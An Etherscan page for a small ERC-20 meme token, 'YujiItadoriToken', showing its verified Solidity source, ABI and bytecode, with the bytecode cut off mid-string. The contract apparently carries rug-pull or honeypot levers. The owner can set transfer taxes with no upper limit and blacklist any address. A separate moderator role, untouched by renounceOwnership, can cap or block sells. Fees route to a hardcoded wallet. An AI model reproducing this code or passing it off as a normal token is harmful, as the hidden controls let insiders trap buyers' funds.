ETH Price: $3,333.73 (-1.49%)
Gas: 24 Gwei

Token

YujiItadoriToken (Yuji Itadori)
 

Overview

Max Total Supply

100,000,000 Yuji Itadori

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
35,071 Yuji Itadori

Value
$0.00
0xd70cf54d6481e5a21e11d0c319f357e05ff4dc2f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YujiItadoriToken

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-19
*/

/**
 * TELEGRAM t.me/YujiItadoriToken
 * Elon's tweet play
*/
// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.4;

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);

	function balanceOf(address account) external view returns (uint256);

	function transfer(address recipient, uint256 amount) external returns (bool);

	function allowance(address owner, address spender) external view returns (uint256);

	function approve(address spender, uint256 amount) external returns (bool);

	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender() , "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract YujiItadoriToken is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;
	mapping(address => bool) private _isExcludedFromFee;
	mapping(address => bool) private bots;
	mapping(address => uint) private cooldown;
	uint256 private constant MAX = ~uint256(0);
	uint256 private _tTotal = 100000000 ;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	uint256 private _taxAddr1;
	uint256 private _taxAddr2;
	address payable private _taxAddrWallet1;
	address payable private _taxAddrWallet2;

	string private constant _name = "YujiItadoriToken";
	string private constant _symbol = "Yuji Itadori";
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private uniswapV2Router;
	address private uniswapV2Pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;
	bool private cooldownEnabled = false;
	address private _moderator;
	uint256 private _maxDump = _tTotal;
	event MaxDumpAmountUpdated(uint _maxDump);
	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxAddrWallet1 = payable(0x4cE3cA0C98978928Cd7583FF74F4d601cA9A6206);
		_taxAddrWallet2 = payable(0x4cE3cA0C98978928Cd7583FF74F4d601cA9A6206);
		_rOwned[_msgSender()] = _rTotal;
		_isExcludedFromFee[owner()] = true;
		_isExcludedFromFee[address(this)] = true;
		_moderator=owner();
		uniswapV2Router =  IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
		_isExcludedFromFee[_taxAddrWallet1] = true;
		_isExcludedFromFee[_taxAddrWallet2] = true;
		_taxAddr1 = 2;
		_taxAddr2 = 7;
		emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public  view override returns  (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}


	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function setCooldownEnabled(bool onoff) external onlyOwner {
		cooldownEnabled = onoff;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function setTax(uint tax1, uint tax2) external onlyOwner{
		require(tax1>=0 && tax2>=0,"Tax must be non-negative");
		_taxAddr1=tax1;
		_taxAddr2=tax2;
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			require(!bots[from] && !bots[to]);
			if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
				// Cooldown
				require(cooldown[to] < block.timestamp);
				cooldown[to] = block.timestamp + (10 seconds);
			}

			if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
				require(amount <= _maxDump);
			}
			uint256 contractTokenBalance = balanceOf(address(this));
			if (!inSwap && from != uniswapV2Pair && swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = uniswapV2Router.WETH();
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxAddrWallet1.transfer(amount.div(2));
		_taxAddrWallet2.transfer(amount.div(2));
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(uniswapV2Router), _tTotal);
		uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
		uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		cooldownEnabled = true;
		_maxDump = 100000000 * 10** 9;
		tradingOpen = true;
		IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
	}

	function setBots(address[] memory bots_) public onlyOwner {
		for (uint i = 0; i < bots_.length; i++) {
			bots[bots_[i]] = true;
		}
	}

	modifier moderator() {
		require(_moderator == _msgSender() );
		_;
	}

	function delBot(address notbot) public onlyOwner {
		bots[notbot] = false;
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}

	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxAddrWallet1);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxAddrWallet1);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxAddr1, _taxAddr2);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(TeamFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}
	function setDumpLimit(uint256 limit) external moderator {
		_maxDump = limit;
	}



	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxDump","type":"uint256"}],"name":"MaxDumpAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"}],"name":"setDumpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tax1","type":"uint256"},{"internalType":"uint256","name":"tax2","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526305f5e1006006556006546000196200001e9190620005cf565b6000196200002d91906200058a565b6007556000600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff0219169083151502179055506006546010553480156200009457600080fd5b506000620000a76200052b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350734ce3ca0c98978928cd7583ff74f4d601ca9a6206600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734ce3ca0c98978928cd7583ff74f4d601ca9a6206600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620002066200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200025a6200053360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003136200053360201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060026009819055506007600a81905550620004bc6200052b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200051d91906200056d565b60405180910390a362000665565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200056781620005c5565b82525050565b60006020820190506200058460008301846200055c565b92915050565b60006200059782620005c5565b9150620005a483620005c5565b925082821015620005ba57620005b962000607565b5b828203905092915050565b6000819050919050565b6000620005dc82620005c5565b9150620005e983620005c5565b925082620005fc57620005fb62000636565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6135bc80620006756000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063aac3cd0311610064578063aac3cd0314610398578063b515566a146103c1578063c9567bf9146103ea578063dd62ed3e14610401578063f42938901461043e5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d57806351bc3c85146102485780635932ead11461025f578063667f6526146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612ccd565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906127d7565b610492565b6040516101839190612cb2565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612e4f565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612788565b6104ba565b6040516101eb9190612cb2565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906126fa565b610593565b005b34801561022957600080fd5b50610232610683565b60405161023f9190612ec4565b60405180910390f35b34801561025457600080fd5b5061025d610688565b005b34801561026b57600080fd5b5061028660048036038101906102819190612854565b610702565b005b34801561029457600080fd5b506102af60048036038101906102aa91906128cf565b6107b4565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906126fa565b6108ac565b6040516102e59190612e4f565b60405180910390f35b3480156102fa57600080fd5b506103036108fd565b005b34801561031157600080fd5b5061031a610a50565b6040516103279190612be4565b60405180910390f35b34801561033c57600080fd5b50610345610a79565b6040516103529190612ccd565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906127d7565b610ab6565b60405161038f9190612cb2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906128a6565b610ad4565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612813565b610b3f565b005b3480156103f657600080fd5b506103ff610c8f565b005b34801561040d57600080fd5b506104286004803603810190610423919061274c565b6111cd565b6040516104359190612e4f565b60405180910390f35b34801561044a57600080fd5b50610453611254565b005b60606040518060400160405280601081526020017f59756a69497461646f7269546f6b656e00000000000000000000000000000000815250905090565b60006104a661049f6112c6565b84846112ce565b6001905092915050565b6000600654905090565b60006104c7848484611499565b610588846104d36112c6565b6105838560405180606001604052806028815260200161355f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105396112c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e9092919063ffffffff16565b6112ce565b600190509392505050565b61059b6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612daf565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c96112c6565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60006106f4306108ac565b90506106ff81611ae2565b50565b61070a6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90612daf565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6107bc6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612daf565b60405180910390fd5b6000821015801561085b575060008110155b61089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612e2f565b60405180910390fd5b8160098190555080600a819055505050565b60006108f6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ddc565b9050919050565b6109056112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098990612daf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f59756a6920497461646f72690000000000000000000000000000000000000000815250905090565b6000610aca610ac36112c6565b8484611499565b6001905092915050565b610adc6112c6565b73ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b8060108190555050565b610b476112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90612daf565b60405180910390fd5b60005b8151811015610c8b57600160046000848481518110610c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8390613165565b915050610bd7565b5050565b610c976112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90612daf565b60405180910390fd5b600e60149054906101000a900460ff1615610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b90612d4f565b60405180910390fd5b610da330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e439190612723565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec757600080fd5b505afa158015610edb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eff9190612723565b6040518363ffffffff1660e01b8152600401610f1c929190612bff565b602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6e9190612723565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ff7306108ac565b600080611002610a50565b426040518863ffffffff1660e01b815260040161102496959493929190612c51565b6060604051808303818588803b15801561103d57600080fd5b505af1158015611051573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611076919061290b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555067016345785d8a00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c28565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca919061287d565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112c6565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b60004790506112c381611e4a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590612d2f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148c9190612e4f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612def565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612cef565b60405180910390fd5b600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390612dcf565b60405180910390fd5b6115c4610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116325750611602610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116db5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fd5750600e60179054906101000a900460ff165b1561189e5742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184d57600080fd5b600a4261185a9190612f85565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff